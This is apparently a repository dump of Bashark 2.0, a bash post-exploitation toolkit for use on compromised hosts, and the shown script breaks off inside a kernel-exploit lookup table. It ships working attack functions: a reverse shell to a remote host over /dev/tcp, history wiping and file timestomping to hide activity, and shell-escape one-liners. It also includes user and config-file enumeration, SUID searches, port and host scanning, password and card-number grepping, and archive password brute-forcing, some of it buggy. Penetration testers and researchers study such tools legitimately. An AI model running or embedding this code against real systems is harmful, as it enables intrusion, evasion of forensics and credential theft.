├── README.md
├── LICENSE
└── bashark.sh
/README.md:
--------------------------------------------------------------------------------
1 |
Bashark 2.0
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Post exploitation toolkit
10 |
11 |
12 |   
13 |
14 | Bashark aids pentesters and security researchers during the post-exploitation phase of security audit.
15 |
16 | ## Usage
17 | To launch this tool on compromised host, simply source the `bashark.sh` script from terminal:
18 |
19 | `$ source bashark.sh`
20 |
21 | Then type `help` to see the help menu
22 |
23 | ## License
24 | This software is under [MIT License](https://en.wikipedia.org/wiki/MIT_License)
25 |
26 |
27 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 redcodelabs.io
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/bashark.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | version="2.0"
3 |
4 | red=`tput setaf 1`
5 | green=`tput setaf 2`
6 | yellow=`tput setaf 3`
7 | blue=`tput setaf 4`
8 | magenta=`tput setaf 5`
9 | grey=`tput setaf 8`
10 | reset=`tput sgr0`
11 | bold=`tput bold`
12 | underline=`tput smul`
13 |
14 |
15 | echo '
16 | __________ .__ __ ________ _______
17 | \______ \_____ _____| |__ _____ _______| | __ ___ __ \_____ \ \ _ \
18 | | | _/\__ \ / ___/ | \\__ \\_ __ \ |/ / \ \/ / / ____/ / /_\ \
19 | | | \ / __ \_\___ \| Y \/ __ \| | \/ < \ / / \ \ \_/ \
20 | |______ /(____ /____ >___| (____ /__| |__|_ \ \_/ /\ \_______ \ /\ \_____ /
21 | \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
22 |
23 | '
24 | printf "\n"
25 | echo "[*] Type 'help' to show available commands"
26 | printf "\n"
27 |
28 | files_to_delete=()
29 | dirs_to_delete=()
30 | cleanup="on"
31 | active_hosts=()
32 |
33 | print_good(){
34 | echo "${green}[+]${reset}" $1
35 | }
36 | print_error(){
37 | echo "${red}[x]${reset}" $1
38 | }
39 | print_info(){
40 | echo "[*]" $1
41 | }
42 | print_question(){
43 | echo "[?]" $1
44 | }
45 | command_error_exit(){
46 | echo "${red}${bold}[LAST CMD ERROR:$?]${reset}"
47 | }
48 |
49 | root_check(){
50 | if [[ $UID -ne 0 ]]
51 | then
52 | print_error 'You need to be root to run this command'
53 | echo
54 | exit 1
55 | fi
56 | }
57 |
58 | PS1="${bold}bashark_$version${reset}$ "
59 | export PS1
60 |
61 | if [ "$(uname)" == "Darwin" ]; then
62 | platform="osx"
63 | elif [ "$(uname)" == "Linux" ]; then
64 | platform="linux"
65 | fi
66 |
67 |
68 | #################COMMANDS###################
69 | usrs(){
70 | if [[ "$@" =~ .*-h.* ]]; then
71 | echo "
72 | ${underline}USAGE:${reset}
73 | usrs [-h]
74 | ${underline}DESCRIPTION:${reset}
75 | Enumerate all local users and highlight currently logged-in"
76 | else
77 | current_user=`whoami`
78 | all_users=`cut -d: -f1 /etc/passwd`
79 | print_info "List of users:"
80 | echo "${all_users//$current_user/${green}${bold}*$current_user${reset}}"
81 | fi
82 | }
83 |
84 | getapp(){
85 | if [[ "$@" =~ .*-h.* ]]; then
86 | echo "
87 | ${underline}USAGE:${reset}
88 | getapp [-h] [FILTER]
89 | ${underline}OPTIONAL ARGUMENTS:${reset}
90 | FILTER Show installed apps that match the filter (ex. getapp sql)
91 | ${underline}DESCRIPTION:${reset}
92 | Enumerate all installed applications"
93 | else
94 | IFS=: read -ra dirs_in_path <<< "$PATH"
95 | for dir in "${dirs_in_path[@]}"; do
96 | for file in "$dir"/*; do
97 | if [ $# -eq 0 ]; then
98 | [[ -x $file && -f $file ]] && print_good "${bold}${file##*/}${reset} is installed"
99 | else
100 | filter=$1
101 | if [[ $file =~ $filter ]]; then
102 | [[ -x $file && -f $file ]] && print_good "${bold}${file##*/}${reset} is installed"
103 | fi
104 | fi
105 | done
106 | done
107 | fi
108 | }
109 |
110 | revshell(){
111 | arguments_errors=0
112 | if [[ "$@" =~ .*-h.* ]]; then
113 | echo "
114 | ${underline}USAGE:${reset}
115 | revshell [-h] HOST PORT
116 | ${underline}POSITIONAL ARGUMENTS:${reset}
117 | HOST Address of the listening host
118 | PORT Port to connect with
119 | ${underline}DESCRIPTION:${reset}
120 | Send a reverse shell to remote host"
121 | else
122 | if [[ "$1" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
123 | host=$1
124 | else
125 | print_error "Wrong IP address format"
126 | ((arguments_errors++))
127 | fi
128 | if [ "$2" -eq "$2" ] 2>/dev/null; then
129 | port=$2
130 | else
131 | print_error "Wrong port format: integer required"
132 | ((arguments_errors++))
133 | fi
134 | if [ $arguments_errors = 0 ]; then
135 | print_good "Started reversed shell (${host}:${port})"
136 | revshell_cmd="bash -i >& /dev/tcp/${host}/${port} 0>&1"
137 | eval "$revshell_cmd"
138 | fi
139 | fi
140 |
141 | }
142 |
143 | quit(){
144 | if [[ "$@" =~ .*-h.* ]]; then
145 | echo "
146 | ${underline}USAGE:${reset}
147 | quit [-h]
148 | ${underline}DESCRIPTION:${reset}
149 | Exit Bashark, clean history and execute cleanup routine"
150 | else
151 | print_info "Starting cleanup routine"
152 | fls=$(echo $files_to_delete | tr ":" "\n")
153 | drs=$(echo $dirs_to_delete | tr ":" "\n")
154 | print_info "Removing bash history"
155 | cat /dev/null > ~/.bash_history && history -c
156 | print_info "Started file cleanup routine"
157 | removed_files=0
158 | removed_dirs=0
159 | for file in ${fls[*]}; do
160 | rm $file
161 | ((removed_files++))
162 | done
163 | for dir in ${drs[*]}; do
164 | rmdir $dir
165 | ((removed_dirs++))
166 | done
167 | print_info "Removed ${bold}${removed_files}${reset} files"
168 | print_info "Removed ${bold}${removed_dirs}${reset} directories"
169 | fi
170 | }
171 |
172 | timestomp(){
173 | if [[ "$@" =~ .*-h.* ]]; then
174 | echo "
175 | ${underline}USAGE:${reset}
176 | timestomp DATE FILE
177 | ${underline}POSITIONAL ARGUMENTS:${reset}
178 | DATE Set the date to spoof (ex. 20170322)
179 | FILE File to timestomp
180 | ${underline}DESCRIPTION:${reset}
181 | Change attributes of a file (access, modify, change)."
182 | else
183 | if [ $# -eq 0 ]; then
184 | print_error "Specify DATE and FILE"
185 | elif [ $# -eq 1 ]; then
186 | print_error "Specify FILE"
187 | else
188 | date=$1
189 | file_to_modify=$2
190 | filename=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | head -n 1)
191 | touch -d $date $filename
192 | touch -r $filename $file_to_modify
193 | rm $filename
194 | print_good "Succesfully timestomped ${file_to_modify}"
195 | fi
196 | fi
197 | }
198 |
199 | portscan(){
200 | opened_ports=0
201 | if [[ "$@" =~ .*-h.* ]]; then
202 | echo "
203 | ${underline}USAGE:${reset}
204 | portscan [-h] HOST
205 | ${underline}POSITIONAL ARGUMENTS:${reset}
206 | HOST Host to scan
207 | ${underline}DESCRIPTION:${reset}
208 | Simple portscanner that shows if most popular ports are opened"
209 | else
210 | if [[ "$1" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
211 | host=$1
212 | if [[ `ping -c 2 ${host}` =~ .*Unreachable.* ]]; then
213 | print_error "Host (${host}) is unreachable"
214 | else
215 | ports=(5 7 18 20 21 22 23 25 29 37 42 43 49 53 69 70 79 80 103 108 109
216 | 110 115 118 119 137 139 143 150 156 161 179 190 194 197 389 396 443 444 445
217 | 458 546 547 563 569 1080)
218 | for port in ${ports[*]}; do
219 | (echo >/dev/tcp/$host/$port) &>/dev/null
220 | if [ $? -eq 0 ]; then
221 | print_good "$host:$port is ${green}opened${reset}"
222 | ((opened_ports++))
223 | fi
224 | done
225 | fi
226 | if [ $opened_ports = 0 ]; then
227 | print_error "No ports opened"
228 | fi
229 | else
230 | print_error "Wrong IP address format"
231 | fi
232 | fi
233 | }
234 |
235 |
236 | i(){
237 | if [[ "$@" =~ .*-h.* ]]; then
238 | echo "
239 | ${underline}USAGE:${reset}
240 | i [-h]
241 | ${underline}DESCRIPTION:${reset}
242 | Show information about compromised host"
243 | else
244 | star="${bold}${grey}<${reset}${magenta}${bold}*${reset}${bold}${grey}>${reset}"
245 | root_usrs=`grep 'x:0:' /etc/passwd`
246 |
247 | OS=`uname -s`
248 | REV=`uname -r`
249 | MACH=`uname -m`
250 |
251 | GetVersionFromFile()
252 | {
253 | VERSION=`cat $1 | tr "\n" ' ' | sed s/.*VERSION.*=\ // `
254 | }
255 |
256 | if [ "${OS}" = "SunOS" ] ; then
257 | OS=Solaris
258 | ARCH=`uname -p`
259 | OSSTR="${OS} ${REV}(${ARCH} `uname -v`)"
260 | elif [ "${OS}" = "AIX" ] ; then
261 | OSSTR="${OS} `oslevel` (`oslevel -r`)"
262 | elif [ "${OS}" = "Linux" ] ; then
263 | KERNEL=`uname -r`
264 | if [ -f /etc/redhat-release ] ; then
265 | DIST='RedHat'
266 | PSUEDONAME=`cat /etc/redhat-release | sed s/.*\(// | sed s/\)//`
267 | REV=`cat /etc/redhat-release | sed s/.*release\ // | sed s/\ .*//`
268 | elif [ -f /etc/SuSE-release ] ; then
269 | DIST=`cat /etc/SuSE-release | tr "\n" ' '| sed s/VERSION.*//`
270 | REV=`cat /etc/SuSE-release | tr "\n" ' ' | sed s/.*=\ //`
271 | elif [ -f /etc/mandrake-release ] ; then
272 | DIST='Mandrake'
273 | PSUEDONAME=`cat /etc/mandrake-release | sed s/.*\(// | sed s/\)//`
274 | REV=`cat /etc/mandrake-release | sed s/.*release\ // | sed s/\ .*//`
275 | elif [ -f /etc/debian_version ] ; then
276 | DIST="Debian `cat /etc/debian_version`"
277 | REV=""
278 |
279 | fi
280 | if [ -f /etc/UnitedLinux-release ] ; then
281 | DIST="${DIST}[`cat /etc/UnitedLinux-release | tr "\n" ' ' | sed s/VERSION.*//`]"
282 | fi
283 |
284 | OSSTR="${OS} ${DIST} ${REV}(${PSUEDONAME} ${KERNEL} ${MACH})"
285 |
286 | fi
287 |
288 | os=${OSSTR}
289 | super_users=`grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'`
290 | if [[ "$root_usrs" =~ "$(whoami)" ]]; then
291 | is_root="(${green}Root privilleges${reset})"
292 | else
293 | is_root="(${red}No root privilleges${reset})"
294 | fi
295 | local_ip=`ip address | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'`
296 | global_ip=`wget http://ipecho.net/plain -O - -q ; echo`
297 | if [ `cat /proc/sys/kernel/randomize_va_space` = "2" ]; then
298 | aslr="${red}Enabled${reset} (data segment randomization)"
299 | elif [ `cat /proc/sys/kernel/randomize_va_space` = "1" ]; then
300 | aslr="${yellow}Enabled${reset}"
301 | else
302 | aslr="${green}Disabled${reset}"
303 | fi
304 | if [ `cat /proc/sys/kernel/dmesg_restrict` = "1" ]; then
305 | dmesg_restrict="${red}Enabled${reset} (data segment randomization)"
306 | elif [ `cat /proc/sys/kernel/dmesg_restrict` = "0" ]; then
307 | dmesg_restrict="${green}Disabled${reset}"
308 | fi
309 | if [ `cat /proc/sys/kernel/perf_event_paranoid` = "-1" ]; then
310 | perf_paranoid="${green}Disabled${reset}"
311 | elif [ `cat /proc/sys/kernel/perf_event_paranoid` = "0" ]; then
312 | perf_paranoid="${yellow}Enabled${reset} (restricted raw tracepoint access)"
313 | elif [ `cat /proc/sys/kernel/perf_event_paranoid` = "1" ]; then
314 | perf_paranoid="${red}Enabled${reset} (restricted CPU events access)"
315 | elif [ `cat /proc/sys/kernel/perf_event_paranoid` = "2" ]; then
316 | perf_paranoid="${red}Enabled${reset} (restricted kernel profiling)"
317 | fi
318 |
319 | host="127.0.0.1"
320 | opened_ports=()
321 | ports=(5 7 18 20 21 22 23 25 29 37 42 43 49 53 69 70 79 80 103 108 109
322 | 110 115 118 119 137 139 143 150 156 161 179 190 194 197 389 396 443 444 445
323 | 458 546 547 563 569 1080 5432 4444 5555)
324 | for port in ${ports[*]}; do
325 | (echo >/dev/tcp/$host/$port) &>/dev/null
326 | if [ $? -eq 0 ]; then
327 | opened_ports+=$port,
328 | fi
329 | done
330 | if [ ${#opened_ports} = 0 ]; then
331 | opened_ports="${red}None${reset}"
332 | fi
333 | echo "
334 | ${star}Username : ${bold}$(whoami)${reset} ${is_root}
335 | ${star}User Groups : $(groups $(whoami))
336 | ${star}Super users : ${super_users}
337 | ${star}Hostname : $(hostname)
338 | ${star}OS : $os
339 | ${star}Kernel : $(uname -r)
340 | ${star}Arch : $(uname -m)
341 | ${star}Local IP : ${local_ip}
342 | ${star}Global IP : ${global_ip}
343 | ${star}RAM
344 | $(cat /proc/meminfo |grep MemTotal)
345 | $(cat /proc/meminfo |grep MemFree)
346 | $(cat /proc/meminfo |grep SwapTotal)
347 | ${star}Opened Ports : ${green}${opened_ports}${reset}
348 | ${star}Kernel configuration:
349 | * ASLR : ${aslr}
350 | * DMESG_RESTRICT: ${dmesg_restrict}
351 | * PERF_PARANOID : ${perf_paranoid}
352 | "
353 | fi
354 | }
355 |
356 | c(){
357 | if [[ "$@" =~ .*-h.* ]]; then
358 | echo "
359 | ${underline}USAGE:${reset}
360 | c [-h]
361 | ${underline}DESCRIPTION:${reset}
362 | Clear screen"
363 | else
364 | clear
365 | fi
366 | }
367 |
368 | _(){
369 | if [[ "$@" =~ .*-h.* ]]; then
370 | echo "
371 | ${underline}USAGE:${reset}
372 | _ [-h]
373 | ${underline}DESCRIPTION:${reset}
374 | Go back to previous directory (alias of 'cd ..')"
375 | else
376 | cd ..
377 | fi
378 | }
379 |
380 | getconf(){
381 | not_found=0
382 | if [[ "$@" =~ .*-h.* ]]; then
383 | echo "
384 | ${underline}USAGE:${reset}
385 | getconf [-h] [-v]
386 | ${underline}OPTIONAL ARGUMENTS:${reset}
387 | -v Show contents of config files (verbose mode)
388 | ${underline}DESCRIPTION:${reset}
389 | Enumerate and show configuration files"
390 | else
391 | confiles=("/etc/master.passwd" "/etc/group" "/etc/hosts" "/etc/crontab"
392 | "/etc/sysctl.conf" "/etc/ssh/ssh_config"
393 | "/etc/ssh/sshd_config" "/etc/resolv.conf" "/etc/syslog.conf" "/etc/chttp.conf"
394 | "/etc/lighttpd.conf" "/etc/cups/cupsd.confcda" "/etc/inetd.conf" "/opt/lampp/etc/httpd.conf"
395 | "/etc/samba/smb.conf" "/etc/openldap/ldap.conf" "/etc/ldap/ldap.conf" "/etc/exports" "/etc/auto.master"
396 | "/etc/auto_master" "/etc/fstab" "/etc/cpufreq-bench.conf" "/etc/dhcpcd.conf" "/etc/dnsmasq.conf" "/etc/fuse.conf"
397 | "/etc/gai.conf" "/etc/healthd.conf" "/etc/host.conf" "/etc/i3status.conf"
398 | "/etc/krb5.conf" "/etc/ld.so.conf" "/etc/libao.conf" "/etc/locale.conf" "/etc/logrotate.conf"
399 | "/etc/ltrace.conf" "/etc/makepkg.conf" "/etc/man_db.conf" "/etc/mdadm.conf" "/etc/mke2fs.conf"
400 | "/etc/mkinitcpio.conf" "/etc/modules.conf" "/etc/mpd.conf" "/etc/netconfig")
401 |
402 | for file in ${confiles[*]}; do
403 | if [ ! -f $file ]; then
404 | :
405 | else
406 | if [[ "$@" =~ .*-v.* ]]; then
407 | print_good "Found ${magenta}${file}${reset}:"
408 | cat $file
409 | printf "\n"
410 | else
411 | print_good "Found ${magenta}${file}${reset}"
412 | ((found++))
413 | fi
414 | fi
415 | done
416 | if [[ $found = 0 ]]; then
417 | print_error "No configuration files found"
418 | fi
419 | fi
420 | }
421 |
422 | cleanup(){
423 | if [[ "$@" =~ .*-h.* ]]; then
424 | echo "
425 | ${underline}USAGE:${reset}
426 | cleanup [-h] [on|off]
427 | ${underline}DESCRIPTION:${reset}
428 | When enabled, the cleanup routine deletes on exit every new file or folder created during Bashark session"
429 | else
430 | if [ $# -eq 0 ]; then
431 | if [[ $cleanup == "on" ]]; then
432 | print_info "Cleanup routine is ${green}${bold}ENABLED${reset}"
433 | else
434 | print_info "Cleanup routine is ${yellow}${bold}DISABLED${reset}"
435 | fi
436 | elif [ $1 == "on" ]; then
437 | cleanup="on"
438 | print_info "Cleanup routine is ${green}${bold}ENABLED${reset}"
439 | elif [ $1 == "off" ]; then
440 | cleanup="off"
441 | print_info "Cleanup routine is ${yellow}${bold}DISABLED${reset}"
442 | else
443 | print_error "No such option"
444 | fi
445 | fi
446 | }
447 |
448 | t(){
449 | if [[ "$@" =~ .*-h.* ]]; then
450 | echo "
451 | ${underline}USAGE:${reset}
452 | t [-h] [TOUCH_COMMAND_ARGUMENTS]
453 | ${underline}DESCRIPTION:${reset}
454 | Alias of 'touch' command that respects current cleanup routine settings"
455 | else
456 | touch $1 $2 $3 $4 $5 $6 $7 $8 $9
457 | if [[ "$cleanup" == "on" ]]; then
458 | files_to_delete+=`readlink -f $1`:
459 | fi
460 | print_info "Created ${bold}$1${reset} (${red}${bold}$(date '+%X')${reset})"
461 | fi
462 | }
463 |
464 | hosts(){
465 | if [[ "$@" =~ .*-h.* ]]; then
466 | echo "
467 | ${underline}USAGE:${reset}
468 | hosts [-h]
469 | ${underline}DESCRIPTION:${reset}
470 | Enumerate active hosts in background"
471 | else
472 | for ip in $(seq 1 255); do
473 | ping -c 1 192.168.1.$ip>/dev/null; [ $? -eq 0 ] && printf "\n192.168.1.$ip is ${green}${bold}active${reset}\r" || : ; done &
474 | fi
475 | }
476 |
477 | isvm(){
478 | if [[ "$@" =~ .*-h.* ]]; then
479 | echo "
480 | ${underline}USAGE:${reset}
481 | isvm [-h]
482 | ${underline}DESCRIPTION:${reset}
483 | Check if OS is running on virtual machine"
484 | else
485 | if ls -di --color=never /|grep -vqe "^2.*/$"; then
486 | print_info "Running in chroot"
487 | fi
488 | if grep -q "^flags.*hypervisor" /proc/cpuinfo; then
489 | print_info "Host is running on a Virtual Machine"
490 | else
491 | print_info "Host is not a Virtual Machine"
492 | fi
493 | fi
494 | }
495 |
496 | fnd(){
497 | if [[ "$@" =~ .*-h.* ]]; then
498 | echo "
499 | ${underline}USAGE:${reset}
500 | fnd [-h] [-v] PATTERN
501 | ${underline}DESCRIPTION:${reset}
502 | Search for regex occurrence in current directory"
503 | else
504 | if [[ "$@" =~ .*-v.* ]]; then
505 | grep -rGnw '.' -e "${@: -1}"
506 | else
507 | grep -rGlw '.' -e "${@: -1}"
508 | fi
509 | fi
510 |
511 | }
512 |
513 | mkd(){
514 | if [[ "$@" =~ .*-h.* ]]; then
515 | echo "
516 | ${underline}USAGE:${reset}
517 | mkd [-h] [ARGUMENTS]
518 | ${underline}DESCRIPTION:${reset}
519 | Alias of 'mkdir' command that respects current cleanup routine settings"
520 | else
521 | mkdir $1 $2 $3 $4 $5 $6 $7 $8 $9
522 | if [[ "$cleanup" == "on" ]]; then
523 | dirs_to_delete+=`readlink -f $1`:
524 | fi
525 | print_info "Created ${bold}$1${reset} (${red}${bold}$(date '+%X')${reset})"
526 | fi
527 | }
528 |
529 | esc(){
530 | if [[ "$@" =~ .*-h.* ]]; then
531 | echo "
532 | ${underline}USAGE:${reset}
533 | esc [-h]
534 | ${underline}DESCRIPTION:${reset}
535 | Spawn a non-restricted shell"
536 | else
537 | if hash awk 2>/dev/null; then
538 | awk 'BEGIN {system("/bin/sh")}'
539 | elif hash python 2>/dev/null; then
540 | python -c 'import pty; pty.spawn("/bin/sh")'
541 | elif hash ruby 2>/dev/null; then
542 | ruby -e 'exec "/bin/sh"'
543 | elif hash perl 2>/dev/null; then
544 | perl -e 'exec("sh -i");'
545 | else
546 | print_error "No interpreter found for shell escaping"
547 | fi
548 | fi
549 | }
550 |
551 | mex(){
552 | if [[ "$@" =~ .*-h.* ]]; then
553 | echo "
554 | ${underline}USAGE:${reset}
555 | mx [-h] FILE
556 | ${underline}POSITIONAL ARGUMENTS:${reset}
557 | FILE File to add permissions
558 | ${underline}DESCRIPTION:${reset}
559 | Add executive permissions to a file"
560 | else
561 | if [ $# -eq 0 ]; then
562 | print_error "Specify the file"
563 | elif [ ! -f $1 ]; then
564 | print_error "File does not exist"
565 | else
566 | chmod a=x $1
567 | print_good "$1 is executable"
568 | fi
569 | fi
570 | }
571 |
572 | lg(){
573 | if [[ "$@" =~ .*-h.* ]]; then
574 | echo "
575 | ${underline}USAGE:${reset}
576 | lg [-h] REGEX
577 | ${underline}POSITIONAL ARGUMENTS:${reset}
578 | REGEX Regular expression to search in listed files
579 | ${underline}DESCRIPTION:${reset}
580 | This command searches for occurrence of specified regular expression in filenames of the current directory
581 | Alias of 'ls|grep -E '"
582 | else
583 | if [ $# -eq 0 ]; then
584 | print_error "Specify the regular expression"
585 | else
586 | ls|grep -E $1
587 | fi
588 | fi
589 | }
590 |
591 |
592 | getperm(){
593 | if [[ "$@" =~ .*-h.* ]]; then
594 | echo "
595 | ${underline}USAGE:${reset}
596 | getperm [-h] [-g] [-u] [-sb] [-c] [-wd] [-ed] [-wed] [-wf] [-nf] [DIRECTORY]
597 | ${underline}OPTIONAL ARGUMENTS:${reset}
598 | -g Search for SGID (chmod 2000)
599 | -u Search for SUID (chmod 4000)
600 | -sb Search for sticky bit
601 | -c Search for SGID and SUID in most common places (/bin, /sbin, /usr/bin, etc.)
602 | -wd Search for world-writeable directories
603 | -ed Search for world-executable directories
604 | -wed Search for both executable and writeable directories
605 | -wf Search for world-writeable files
606 | -nf Search for no-owner files
607 | [DIRECTORY] Directory to search instead of the current one
608 | ${underline}DESCRIPTION:${reset}
609 | Search for advanced linux file permissions in the current directory. You need to specify at least
610 | one optional argument."
611 | else
612 | if [ $# -eq 0 ]; then
613 | print_error "Specify at least one option"
614 | else
615 | dir="."
616 | if [[ "${@: -1}" =~ .*-.* ]]; then
617 | :
618 | else
619 | dir="${@: -1}"
620 | fi
621 | if [[ "$@" =~ .*-g.* ]]; then
622 | print_good "SGID files:"
623 | find ${dir} -perm -g=s -type f 2>/dev/null
624 | fi
625 | if [[ "$@" =~ .*-u.* ]]; then
626 | print_good "SUID files:"
627 | find ${dir} -perm -u=s -type f 2>/dev/null
628 | fi
629 | if [[ "$@" =~ .*-sb.* ]]; then
630 | print_good "Sticky bit files:"
631 | find ${dir} -perm -1000 -type d 2>/dev/null
632 | fi
633 | if [[ "$@" =~ .*-c.* ]]; then
634 | print_good "Results from common places:"
635 | for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
636 | fi
637 | if [[ "$@" =~ .*-wd.* ]]; then
638 | print_good "World-writeable directories:"
639 | find ${dir} -perm -222 -type d 2>/dev/null
640 | fi
641 | if [[ "$@" =~ .*-ed.* ]]; then
642 | print_good "World-executable directories:"
643 | find ${dir} -perm -o x -type d 2>/dev/null
644 | fi
645 | if [[ "$@" =~ .*-wed.* ]]; then
646 | print_good "World-executable and writeable directories:"
647 | find ${dir} \( -perm -o w -perm -o x \) -type d 2>/dev/null
648 | fi
649 | if [[ "$@" =~ .*-wf.* ]]; then
650 | print_good "World-writeable files:"
651 | find ${dir} -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
652 | fi
653 | if [[ "$@" =~ .*-nf.* ]]; then
654 | print_good "Files with no owner:"
655 | find ${dir} -xdev \( -nouser -o -nogroup \) -print
656 | fi
657 | fi
658 | fi
659 | }
660 |
661 | fileinfo(){
662 | if [[ "$@" =~ .*-h.* ]]; then
663 | echo "
664 | ${underline}USAGE:${reset}
665 | fileinfo [-h] FILE
666 | ${underline}POSITIONAL ARGUMENTS:${reset}
667 | FILE File to inspect
668 | ${underline}DESCRIPTION:${reset}
669 | Get information about specified file"
670 | else
671 | if [ $# -eq 0 ]; then
672 | print_error "Specify the file to inspect"
673 | elif [ ! -f $1 ]; then
674 | print_error "No such file"
675 | else
676 | if [[ -x "$1" ]]; then
677 | executable="${green}yes${reset}"
678 | else
679 | executable="${red}no${reset}"
680 | fi
681 | echo "
682 | ${green}*${reset}NAME: $1
683 | ${green}*${reset}CREATION DATE: $(stat -c %y $1| sed 's/^\([0-9\-]*\).*/\1/')
684 | ${green}*${reset}SIZE: $(stat --printf="%s" $1) bytes
685 | ${green}*${reset}EXECUTABLE: ${executable}
686 | ${green}*${reset}ENCODING: $(file -bi $1)
687 | "
688 | fi
689 | fi
690 | }
691 |
692 | fndre(){
693 | #TODO FINISH
694 | if [[ "$@" =~ .*-h.* ]]; then
695 | echo "
696 | ${underline}USAGE:${reset}
697 | fndre [-h] FILE
698 | ${underline}POSITIONAL ARGUMENTS:${reset}
699 | FILE File to inspect
700 | ${underline}DESCRIPTION:${reset}
701 | Search for most popular regexes in a file (gmail and ip addresses, plaintext passwords, credit cards etc.)"
702 | else
703 | if [ $# -eq 0 ]; then
704 | print_error "Specify the file to inspect"
705 | elif [ ! -f $1 ]; then
706 | print_error "No such file"
707 | else
708 | filename=$1
709 | declare -A regexes
710 | regexes[IP_addresses]="^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$"
711 | regexes[MAC_addresses]="(?:[0-9a-fA-F]:?){12}"
712 | regexes[Gmail_addresses]="\s.*@gmail.com"
713 | regexes[Plaintext_passwords]="[Pp]assword\s*[:=-].*\s"
714 | regexes[Usernames]="[Uu]ser\s*[:=-].*\s"
715 | regexes[Mastercard_regex]="[51-55]\d{14}"
716 | regexes[Visa_regex]="4\d{15}|4\d{12}"
717 | regexes[Discover_regex]="6011\d{12}|65\d{14}"
718 | regexes[AmericanExpress_regex]="34\d{13}|37\d{13}"
719 | regexes[DinersClub_regex]="[300-305]/d{11}|36/d{12}|38/d{12}"
720 | regexes[JCB_regex]="35\d{14}|2131\d{11}|1800\d{11})"
721 |
722 | for key in ${!regexes[@]}; do
723 | #echo $regexes[$key]
724 | print_good "$key search results:"
725 | re=$regexes[$key]
726 | grep -oE "$re" $filename
727 | done
728 | fi
729 | fi
730 | }
731 |
732 |
733 | bruteforce(){
734 | if [[ "$@" =~ .*-h.* ]]; then
735 | echo "
736 | ${underline}USAGE:${reset}
737 | bruteforce [-h] DICTIONARY FILE
738 | ${underline}POSITIONAL ARGUMENTS:${reset}
739 | FILE File to bruteforce
740 | DICTIONARY Dictionary to use
741 | ${underline}DESCRIPTION:${reset}
742 | Bruteforce a file with a password"
743 | else
744 | if [ $# -eq 0 ]; then
745 | print_error "Specify the dictionary"
746 | fi
747 | if [ $# -eq 1 ]; then
748 | print_error "Specify the file to bruteforce"
749 | elif [ ! -f $1 ]; then
750 | print_error "No such dictionary"
751 | elif [ ! -f $2 ]; then
752 | print_error "No such file"
753 | else
754 | dictionary=$1
755 | filename=$2
756 | cracked=0
757 | for word in $(cat $dictionary); do
758 | if [ ".zip" in $filename ]; then
759 | out=$(unzip -R $word $filename)
760 | if [ "inflating" in $out ]; then
761 | print_good "Found password: $green$bold$word$reset"
762 | (($cracked++))
763 | break
764 | else
765 | :
766 | fi
767 | elif [ ".rar" in $filename ]; then
768 | out=$(rar x -p"$word" $filename 1>/dev/null 2>/dev/null)
769 | success=`echo $?`
770 | if [ "$success" = 0 ]; then
771 | print_good "Found password: $green$bold$word$reset"
772 | (($cracked++))
773 | break
774 | else
775 | :
776 | fi
777 | fi
778 | done
779 | if [ $cracked = 0 ]; then
780 | print_error "Password not found. Try another dictionary"
781 | fi
782 | fi
783 | fi
784 |
785 | }
786 |
787 | cve(){
788 | if [[ "$@" =~ .*-h.* ]]; then
789 | echo "
790 | ${underline}USAGE:${reset}
791 | cve [-h]
792 | ${underline}DESCRIPTION:${reset}
793 | Search for kernel exploits"
794 | else
795 | hits=0
796 | declare -A exploits
797 | exploits=( ["2.4.20|2.2.24|2.4.25|2.4.26|2.4.27"]="CVE-2004-0077"
798 | ["2.4.29"]="CVE-2004-1235"
799 | ["2.6.34|2.6.35|2.6.36"]="caps_to_root (https://github.com/SecWiki/linux-kernel-exploits/blob/master/2004/caps_to_root/15916.c)"
800 | ["2.6.5|2.6.7|2.6.8|2.6.9|2.6.10|2.6.11"]="CVE-2005-0736"
801 | ["2.6.13|2.6.14|2.6.15|2.6.16|2.6.17"]="CVE-2006-2451"
802 | ["2.6.8|2.6.10|2.6.11|2.6.12|2.6.13|2.6.14|2.6.15|2.6.16"]="CVE-2006-3626"
803 | ["2.6.23|2.6.24"]="CVE-2008-0600"
804 | ["2.6.17|2.6.18|2.6.19|2.6.20|2.6.21|2.6.22|2.6.23|2.6.24|2.6.24.1"]="CVE-2008-0900"
805 | ["2.6.11|2.6.12|2.6.13|2.6.14|2.6.15|2.6.16|2.6.17|2.6.18|2.6.19|2.6.20|2.6.21|2.6.22"]="CVE-2008-4210"
